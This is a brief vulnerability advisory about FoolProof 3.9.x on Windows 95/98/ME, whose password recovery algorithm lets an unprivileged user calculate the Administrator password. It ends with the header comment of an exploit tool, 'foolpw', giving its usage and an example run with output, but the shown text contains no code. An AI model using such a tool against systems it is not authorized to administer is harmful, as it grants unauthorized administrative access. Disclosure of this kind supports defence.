FoolProof is prone to a vulnerability that may allow an unprivileged user to recover the administrative password for the application. This issue can ultimately allow an attacker to gain unauthorized administrative access to the application.

This issue occurs because an attacker can manipulate the password recovery algorithm to recover an 'Administrator' password.

FoolProof versions 3.9.7 for Windows 98/ME and 3.9.4 for Windows 95 are affected by this issue. Subsequent versions of FoolProof do not contain the password recovery feature. 

/*    The following program calculates the "Administrator" password from the
    password recovery key and the "Control" password.
    
    Usage:
        
        Invoke the program with the following arguments:

        foolpw HEXADECIMAL_RECOVERY_KEY CONTROL_PASSWORD

        Example:

        C:\> foolpw BDAD8C8380A6B8BCAC8C2A45484A464C HelloWorld
        12345
